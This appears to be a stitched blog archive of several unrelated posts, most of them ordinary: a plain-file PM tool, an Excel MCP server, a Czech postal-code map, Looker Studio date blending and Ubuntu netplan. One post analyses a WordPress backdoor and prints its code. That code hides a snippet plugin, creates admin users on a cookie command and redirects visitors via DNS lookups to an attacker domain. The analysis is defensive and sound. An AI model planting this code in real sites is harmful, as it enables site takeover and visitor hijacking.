The idea

Sequentia PM is a desktop application that turns an ordinary folder of numbered files into a full project management workspace. There is no database, no cloud sync, no account to create. Your project is a directory. The files inside it: Markdown, CSV, DBML are the single source of truth, readable by any text editor, diffable by Git, and equally accessible to humans and AI agents alike.

The naming convention is dead simple: prefix each file with a two-digit number and a dash, and Sequentia picks it up as a tab. The GUI application itself is managed by this approach as a demonstration: 00-process.md becomes your process definition, 03-backlog.csv your backlog spreadsheet, 08-models.dbml your entity-relationship diagram. Add a file, get a tab. Remove it, lose the tab. No configuration needed.

This plain-text, file-per-concern layout is not just a design preference, in my opinion it is what makes human-AI collaboration practical. An AI agent can read, edit, and commit project files through the same Git workflow a human uses. No API tokens, no integrations, no special access. The project folder is directly in the shared workspace.

There is another minimalism at play here: the first file in the sequence is your process definition, which doubles as instructions for your AI agent on how you want the project managed. And because the structure carries no assumptions about what you are building, it works just as well for a hardware product, a marketing campaign, or an event plan as it does for software. Swap the process file, adjust the backlog columns, and you have a different methodology for a different domain.

Because everything is just files in a repo, context-switching between projects is trivial. Waiting on a vendor, a customer estimate, or feedback? Commit, switch branches, move on. When it is time to pick up again, the entire project state is right where you left it.

Technology under the hood

The stack is deliberately compact:

• Electron + React 19 + TypeScript for the desktop shell
• Monaco Editor for Markdown and DBML editing with syntax highlighting
• react-data-grid + HyperFormula for the CSV spreadsheet editor, complete with formulas, sorting, and multi-cell copy/paste
• @softwaretechnik/dbml-renderer for live SVG entity-relationship diagrams
• Zustand for state management in roughly 75 lines
• chokidar for watching external file changes

The entire application logic clocks in at around 560 lines of code. The architecture is a clean three-layer sandwich: Electron main process handling privileged file I/O, a sandboxed preload bridge exposing exactly 20 IPC methods, and a React renderer that never touches the filesystem directly.

An EditorRouter component maps file extensions to purpose-built editors - .md opens the Markdown editor with a live preview pane, .csv opens the spreadsheet, .dbml opens the diagram editor. Everything else gets a polite notice that no editor is available yet.

Less is more, by design

What makes Sequentia interesting is not what it does, but what it refuses to do. The project’s design principles spell this out explicitly:

• Air-gapped by default. Zero network calls, zero telemetry, zero CDN fetches. All libraries are bundled at build time. The app works identically on an airplane and behind a corporate firewall.
• No artifacts left behind. The application creates nothing in your project directory - no .sequentia/ config folder, no lock files, no metadata. It reads and writes only the files you created.
• Open formats only. Markdown, CSV, and DBML are plain text. Your data stays yours, editable in vim, diffable in Git, greppable from the terminal.
• Single-window simplicity. One project, one window, one tab bar. No workspaces, no multi-project views, no nesting. The complexity ceiling is deliberately low.

This is a conscious rejection of the feature-accumulation treadmill. Instead of asking “what else can we add?”, Sequentia asks “what can we leave out and still have a useful tool?”

The project folder itself is self-documenting. The 00-process.md file defines the entire methodology: file sequence, tiered immutability levels (frozen charters, baselined backlogs, living task lists), and change management rules. The tool and the process it supports are one and the same.

Built for human-AI teams

Sequentia’s process definition doesn’t just describe the methodology for humans: it explicitly governs AI agents too. The tiered immutability system doubles as a permission model: AI agents can freely update living files like tasks and schedules (Tier 3), must flag proposed changes to baselined backlogs and estimates (Tier 2), and are forbidden from touching frozen process documents and charters (Tier 1) without explicit human approval.

This is a practical answer to a real problem. When an AI agent works on your project, it needs to understand not just the code but the project structure, constraints, and rules. With Sequentia, all of that context lives in the same directory the agent is already working in. Point an agent at the folder, and it has everything it needs - the process, the backlog, the data model, the task list - in formats it can parse without any special tooling.

The result is a lightweight governance layer for human-AI collaboration. The human defines the vision, constraints, and priorities. The AI executes within those boundaries, updates what it is allowed to update, and escalates what it is not. No SaaS platform required - just files, Git, and clear rules.

Why not just VS Code?

Fair question. The files are plain text, so you could open the folder in VS Code and edit everything there. In practice, that means installing a Markdown preview extension, a CSV editor extension, a DBML renderer, hoping they play well together, and accepting whatever UI each one decides to give you. It works, but it is duct tape.

Sequentia gives you a coherent interface out of the box. More importantly, it makes the process sequence visible. The numbered tabs are not just an organizational trick - they represent a dependency chain. A charter comes before a backlog, a backlog comes before estimates, estimates come before a schedule. When a junior PM or developer opens the project, they see this structure immediately and can understand the impact of their changes: touching an early file cascades through everything downstream.

This matters because Sequentia is not just a tool for experienced project managers. It is a learning environment. Junior developers and PMs can use it to understand how structured project management actually works - how a charter constrains a backlog, how a backlog drives estimates, how estimates feed a schedule. The numbered sequence teaches the discipline by making it tangible.

And frankly, that is where this tool finds its sharpest edge. The industry conversation right now is that entire groups of junior developers are becoming replaceable by AI. Sequentia offers an alternative path: instead of competing with AI at writing code, learn to manage projects and direct AI agents. The tool is designed to make that transition accessible - a junior who understands project structure and can steer AI agents effectively is far more valuable than one who only writes code that an LLM can produce faster.

Who is this for?

Sequentia fits small human-AI teams - a developer or two steering the direction, with AI agents handling implementation, research, and routine updates. If you already live in Git and work with coding agents like Claude Code, Cursor, or Copilot, Sequentia gives your project the structure these agents need to be effective contributors rather than isolated tools. It is project management that both you and your AI can read, write, and commit to.

It ships as AppImage, deb, and Flatpak on Linux, with NSIS installer and portable builds for Windows. The project is GPL-3.0 licensed, an early version, but the core feature set is already usable.

Check it out on GitHub.

I migrated everything to Jekyll, a static-site generator written in Ruby. The switch was surprisingly smooth. Since my content was already in Markdown, the migration was mostly about co-locating files, fixing occasional legacy HTML, and normalizing YAML front matter.

A few things I like about the new setup:

• Post bundles: with minor conf adjustments to Jekyll each post now lives in its own directory alongside its images and assets, keeping everything self-contained and easy to manage.
• Full control: The entire site lives in a Git repository. No admin panel, no PHP runtime, just Markdown and Liquid templating.
• Automated deployment: A GitHub Actions workflow builds and deploys the site on every push. No server to maintain.
• Lower attack surface: Without a database or active runtime, there is practically nothing to exploit.

The blog is leaner, faster, and easier to work with. If you are running a small personal site and find yourself fighting your CMS more than writing, a static generator might be worth a look.

I needed a stateless MCP server with dual-mode Excel file access: cell-level and SQL. Nothing quite fit my requirements. As I was forming the specification of what exactly I needed - the simplest path was to build one.

Before writing any code, I sat down and declared what I actually needed: a stateless MCP server that can do both precise cell-level operations and SQL-powered queries on .xlsx files, with both modes working interleaved on the same workbook.

With the spec in hand, I looked at what already exists - mostly utilizing Gemini. I tested excel-mcp-server and localdata-mcp. Both are functional, but neither fit. They burned through context window with verbose outputs and long tool descriptions. They also lacked the dual operational mode I was after. When your LLM agent wastes tokens on session management or reformatting data it already has, you feel it in every conversation.

So I built my own. mcp-server-spreadsheet is a single-file Python server offering 26 tools across two modes:

• direct cell operations via openpyxl (read, write, copy, search) and
• a DuckDB-powered SQL interface supporting JOINs, aggregates, and even INSERT/UPDATE/DELETE with atomic writeback.

The worksheet mode deals with raw content and ignores styling. The SQL mode is as raw as it can get. Every LLM understands the language out of the box, so why provide plethora of tools with needless descriptions. Every call is stateless: explicit file and sheet parameters, no handles, no sessions. Writes go through temp files with os.replace() for crash safety. Formulas come back as actual formula strings, not cached values. The design is deliberately minimal: data in, data out, no formatting side-effects, no wasted tokens.

Motivace a cíle

PSČ není oficiální územní jednotka, jde o doručovací atribut přiřazený jednotlivým adresním bodům. Žádná oficiální mapa PSČ tedy neexistuje a Česká pošta se o ni ani nesnaží. V Triton IT jsme ji ale potřebovali pro zónování dopravy se zákazníkem. Cílem projektu bylo poskytnout veřejně dostupnou mapu, na které uživatel rychle zjistí, které PSČ pokrývá konkrétní oblast. Bez registrace, bez plateb, bez backendu, čistě statická webová stránka hostovatelná na GitHub Pages.

Jediný spolehlivý zdroj představuje RÚIAN (Registr územní identifikace, adres a nemovitostí) spravovaný ČÚZK. Obsahuje přibližně 3 miliony adresních bodů, každý s přiřazeným PSČ a souřadnicemi v systému S-JTSK. Z těchto bodových dat bylo nutné odvodit plošné hranice jednotlivých PSČ.

Hledání správného algoritmu

Pokus první: Alpha Shapes (konkávní obálky)

První verze využívala algoritmus Alpha Shapes - konkávní obálky, které lépe kopírují skutečný tvar zástavby než jednoduchý konvexní obal. Adaptivní parametr alpha se měnil podle hustoty bodů: nižší hodnota pro městskou zástavbu (těsnější obrys), vyšší pro venkovské oblasti.

Problém: Mezi jednotlivými PSČ vznikaly mezery, tj. „území nikoho”, kde nebyla přiřazena žádná oblast. Vizuálně nepříjemné a prakticky matoucí.

Pokus druhý: Delaunay triangulace

Druhý přístup použil Delaunayovu triangulaci s filtrováním hran. Umožňoval generovat duté a konkávní tvary, ale mezery mezi PSČ přetrvávaly.

Finální řešení: Voronoi tessellation

Vrátili jsme se k přístupu používanému například v Google Maps. Voronoiův diagram přiřadí každému adresnímu bodu buňku obsahující prostor, který je k němu nejblíže. Buňky se stejným PSČ se sloučí a hranice se vyhladí algoritmem Douglas-Peucker.

Výhody Voronoiho přístupu:

• Vyplňuje celý prostor bez mezer
• Hranice jsou přirozené, vedou přesně uprostřed mezi sousedními adresami
• Jasně definované sousedství oblastí

Pro osamocené adresy (1-2 body) se použije kruhový buffer jako fallback.

Barevné rozlišení sousedů

Aby mapa byla čitelná, sousedící PSČ musí mít různé barvy. K tomu slouží Welsh-Powellův hladový algoritmus pro barvení grafů. Výsledkem je paleta pouhých 4 barev (teoreticky podle čtyřbarevné věty), kde žádná dvě sousedící PSČ nemají stejnou barvu.

Architektura

Projekt je rozdělen na dvě části:

1. Offline ETL pipeline (Python) - výpočetně náročné zpracování dat
2. Statická webová prezentace - vektorové dlaždice (MVT) + MapLibre GL JS

Data se transformují ze souřadnic S-JTSK do WGS84, generují se polygony a následně vektorové dlaždice pomocí nástroje tippecanoe. Výstupem je složka se statickými soubory, kterou lze nahrát na jakýkoliv hosting.

Závěr

Po třech iteracích algoritmu jsme konvergovali k Voronoiho tessellaci jako nejlepšímu řešení pro odvození hranic PSČ z bodových dat. Mapa je nyní dostupná na mapa-psc.marekrost.cz a zdrojový kód je otevřený pod licencí GPL-3.0.

Zobrazené hranice jsou z principu aproximací. Skutečná příslušnost k PSČ je vždy definována pouze pro konkrétní adresní místa. Mapa slouží k orientaci a vizualizaci, nikoliv jako oficiální podklad.

Process of the Attack

1. Initial Access: The attacker leverages admin-level privileges, potentially obtained through existing exploits or vulnerabilities, to install a code snippet plugin from the official source on WordPress.org.
2. Concealment: The attack generates a code snippet that conceals the presence of the plugin. This is achieved by masking all related information via CSS and by immediately unloading the plugin using a WordPress action hook.
3. Execution: The malicious payload is automatically executed on every page request.

Example of backdoor code

We’ve lifted the following demonstration out of an infected website. The code has been slightly modified and clarifications added.

// Attacker's personal password
$_pwsa = 'password_string';

// Hide the presence of the WPCode plugin
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
  add_action('admin_print_scripts', function () {
    echo '<style>';
    ...
    echo '</style>';
  });
  add_filter('all_plugins', function ($plugins) {
    unset($plugins['insert-headers-and-footers/ihaf.php']);
    return $plugins;
  });
}

if (!function_exists('_red')) {

  // Helper function, extract base64-encoded cookie values
  function _gcookie($n) {
    return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : '';
  }

  // Exploit control section
  // Test if visiting browser has the password cookie set to correct value
  if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {

    // Command options
    switch (_gcookie('c')) {

      // Update domain storage hidden within wordpress option
      case 'sd':
        $d = _gcookie('d');
        if (strpos($d, '.') > 0) {
          update_option('d', $d);
        }
        break;

      // Add administrator user to the WP site
      // username, password and e-mail fields are defined by u,p,e cookies
      case 'au':
        $u = _gcookie('u');
        $p = _gcookie('p');
        $e = _gcookie('e');
        if ($u && $p && $e && !username_exists($u)) {
          $user_id = wp_create_user($u, $p, $e);
          $user = new WP_User($user_id);
          $user->set_role('administrator');
        }
        break;
    }
    return;
  }

  // Skip further code on the login page to avoid detection
  if (@stripos(wp_login_url(), ''.$_SERVER['SCRIPT_NAME']) !== false) { return; }

  // Skip further code if specific cookie is present
  if (_gcookie("skip") === "1") { return; }

  // Helper functions
  function _is_mobile() { ... }
  function _is_iphone() { ... }
  function _user_ip()   { ... }

  function _red() {

    // Do nothing for logged in users to avoid detection
    if (is_user_logged_in()) { return; }

    // Do nothing if IP is not set, likely to avoid detection when run via tool like WP CLI
    $ip = _user_ip(); if (!$ip) { return; }

    // Get WP transient option that stores list of visitor IP addresses
    $exp = get_transient('exp'); if (!is_array($exp)) { $exp = array(); }

    // Remove IP address from the list if 24 hours have passed since the last visit
    foreach ($exp as $k => $v) { if (time() - $v > 86400) { unset($exp[$k]); } }

    // Do nothing more if IP address has visited within last 24 hours
    if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) { return; }

    // Save website hostname and ip address of the visitor
    $host = filter_var(parse_url('https://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);
    $ips = str_replace(':', '-', $ip); $ips = str_replace('.', '-', $ips);

    // Take attacker's contact domain out of WP option
    $h = 'cdn-routing.com';
    $o = get_option('d');
    if ($o && strpos($o, '.') > 0) { $h = $o; }

    // Prepare DNS request - package info about the current website into subdomains
    $m = _is_iphone() ? 'i' : 'm'; $req = (!$host ? 'unk.com' : $host) . '.' . (!$ips ? '0-0-0-0' : $ips) . '.' . mt_rand(100000, 999999) . '.' . (_is_mobile() ? 'n' . $m : 'nd') . '.' . $h;

    // Send the DNS request: get redirect URL and provide heartbeat
    $s = null;
    try {
      $v = "d" . "ns_" . "get" . "_rec" . "ord";
      $s = @$v($req, DNS_TXT);
    } catch (\Throwable $e) { } catch (\Exception $e) { }

    // Redirect visitor to the domain name in the attacker's DNS TXT record
    // Log the IP into storage
    if (is_array($s) && !empty($s)) {
      if (isset($s[0]['txt'])) {
        $s = $s[0]['txt'];
        $s = base64_decode($s);
        if ($s == 'err') {
          $exp[$ip] = time();
          delete_transient('exp');
          set_transient('exp', $exp);
        } else if (substr($s, 0, 4) === 'http') {
          $exp[$ip] = time();
          delete_transient('exp');
          set_transient('exp', $exp);
          wp_redirect($s);
          exit;
        }
      }
    }
  }
  add_action('init', '_red');
}

The code shown above grants attacker an ability to redirect visitors of the website to any other domain that he wishes. The backdoor allows switching of the control domain in order to allow migration of the attacker’s own infrastructure. Finally, the attacker can, at any point, create his own Admin-level user on the website and use it at his leisure - possibly improving the backdoor or adding more malicious code.

Thoughts on detection

This kind of malicious code can be much more difficult to locate than exploits embedded within code as the latter can be simply identified by tracking file differences.

Basic security tools don’t scan WP database or they don’t do so sufficiently well. We have tested if the code shown earlier would get detected by Wordfence. It wouldn’t. This means that exploits hidden within snippet plugins easily escape automated detection.

In this particular case the detection can be as simple as comparing the list of available installed plugins to the contents of wp-content/plugins/ folder. Should the folder contain any plugin slugs that do not correspond to what is available inside Wordpress administration, detailed investigation should follow. This is, however, something that can hardly get automated due to the exploit’s different behavior when running via CLI tool.

The easiest approach to detection could simply be maintaining a plugin graylist. A list of potentially exploitable plugins that, when installed, require additional review.

The solution is to add direct dependency on blinker<1.8.0 into your project in order to prevent selenium-wire from automatically downloading the latest blinker version.

It’s the management of non-public external code or private packages. Particularly paid Wordpress plugins turned out to be annoying. We somehow needed them versioned and managed while not commiting them directly to our own code repository.

While looking for a solution - I have found Release Belt, a nice little application that can manage ZIP files as if they were composer packages.

Unfortunately Release Belt was not available as a Docker image and in Triton IT we run all of our key infrastructure in containers. With the assistance of my teammates I have packaged Release Belt into a docker image and made it available directly from Docker hub.

Quite some time has passed since my last entry on a similar topic. So much time, that Google Data Studio has renamed itself. This time I will be looking at data blending from Google Ads with GA4 using time-based Dimensions.

In order to successfully blend data from GA4 and Ads, while keeping a meaningful intersection (this means using Left / Right outer join, or Inner join), we naturally need to apply a meaningful Join condition - a set of compatible fields that will be shared between both source Tables.

At first glance this seems like a sensible assumption, however, I have ran into surprising issues. Let’s have a look at a specific example: Joining Tables using dimension Year.

The left table is from Google Analytics 4 and right table from Google Ads. A simple relationship with two same dimensions provided by two systems from the same company. What could go wrong?

I have ended up with User Configuration Error after finishing this setup of Blended data. The error description - a cryptic line: This data source was improperly configured.

So what went wrong? While technically storing the same data - both Year dimensions have a different formatting. Let’s introduce a new term and call this formatting Native formatting. Unless two dimensions have the same Native formatting - they cannot be used to blend data successfully, even if they supposedly store the same type of information with the same granularity.

It is possible to reveal the Native formatting by using the CAST(Dimension AS TEXT) function and displaying the result in a Table chart. The following table lists key time-based Dimensions from Google Ads and Analytics 4 with value examples.

Table 1: Most common time-based dimensions and their Native formatting in Google Ads and Analytics 4. Including information which dimensions are compatible.

This reveals that Year dimension from Google Ads is not compatible with Year dimension from Google Analytics. From the first glance it could be tempting to use GA4: Year with Ads: Month or Ads: Day but that would be a bad idea: they do not preserve the same data granularity. Meaning: that Metrics data from one system would be aggregated into sets of different size than data from the second system. This could lead to incorrect numbers in Looker studio Charts. It is, in fact, exactly the same situation as described in my older article on Google Data Studio.

The takeaway: If we need a low granularity based upon years - Google does not provide us with two compatible Dimensions. The solution: build a new field using functions that will convert both Year dimensions into a compatible format. The format has to be exactly the same: the same value representation and same data type. This is best achieved if we create a new field in both source tables.

Let’s introduce a new dimension and call it Just year. The formula for Google Analytics 4 would be: SUBSTR(Year, 1, 4) and for Google Ads: CAST(Year AS TEXT). This means both fields won’t be even treated as time-based values, only as a simple text. This isn’t a problem, they will only provide relationship between the two data sets. We can always use the real dimensions called Year to plot our Charts.

I usually use Debian as the go-to OS for server machines, however, this time we were setting up several Dell servers that just wouldn’t talk with the Debian ISO images. Time was of the essence so we decided to grab the Ubuntu server 2022 LTS image instead.

We encountered trouble immediately when we tried to set up static networking. I checked if systemd-networkd was present - and to my surprise, it was already running. I checked the NIC names and configured a static network into /etc/systemd/network/ accordingly.

This did not work. Obviously, something was interfering with systemd-networkd function. We reviewed running services with systemctl status and came up with nothing. The only remaining place that could be a reasonable source of such override was dbus. A review of /usr/share/dbus-1/system-services/ revealed a suspicious file named io.netplan.Netplan.service. By finding the source package of this file with dpkg -S we were at the source at last.

It turned out that the standard systemd-networkd function was overriden by another package named netplan.io, which had its own fancy website. Since we did not know the syntax of netplan.io, it was easier to just completely remove it (along with several Ubuntu meta-packages that depended on it). Removal of netplan restored standard systemd-networkd function.

Updated formula that works - Credit to Manuel Garcia:

PARSE_DATE('%Y-%m', CONCAT(SUBSTR(Year, 1, 4), '-', IF(Month < 10, CONCAT('0', Month), CAST(Month AS TEXT ) ) ) )

Original article text

To get Month of Year dimension it is not as simple as writing TODATE(Date, '%Y-%m').

It is a bad idea to use the above formula. Why? Because there are cases where it will behave incorrectly and you might snap your keyboard trying to figure out why doesn’t your Google Data Studio dashboard show the same data as you can see in your Google Analytics account.

The problem comes from the source dimension used to build your Month of Year field. Since the source dimension is not based on Month but on a single day (Date), the data pulled from your Google Analytics will have different granularity.

This might not be a problem with metrics attached to a single event, however metrics over larger scopes that are less dependent on a single point in time will get distorted results.

The above image demonstrates the difference on the metric Total users. The top chart uses correctly prepared Month of Year dimension and shows visitors corresponding to the numbers in Google Analytics. The lower chart uses incorrect Month of Year dimension that uses Date as source dimension and the number of visitors appears higher.

So what is the reason for this difference? It is simple: The source dimensions you use to build custom fields in Data studio dictate how will the data get collected from Google Analytics database. When you use Date as a base for your Month of Year dimension, the Total users metric will be exported for each day independently and only afterwards merged together to add up to the months. This is obviously a problem - some visitors might have visited your website on multiple days, however their visits are now added up as if they come from different visitors.

So how to build Month of Year correctly? You must stick only to Year and Month dimensions. Merge them into a single field. The following formula is my crude implementation.

PARSE_DATE('%Y-%m', CONCAT(Year, '-', IF(Month < 10, CONCAT('0', Month), CAST(Month AS TEXT ) ) ) )

The Year and Month dimensions are joined as a text and Month is zero padded when necessary (sadly there is no LPAD function in Data studio). Finally, the resulting text is converted back to Date format so Data studio can recognize this is a time-based field.

Article changelog

• Updated bar chart image to corresponding time frames.
• Changed the correct dimension formula from compat. mode TODATE to PARSE_DATE.
• Update to Looker Studio renders this entire article obsolete.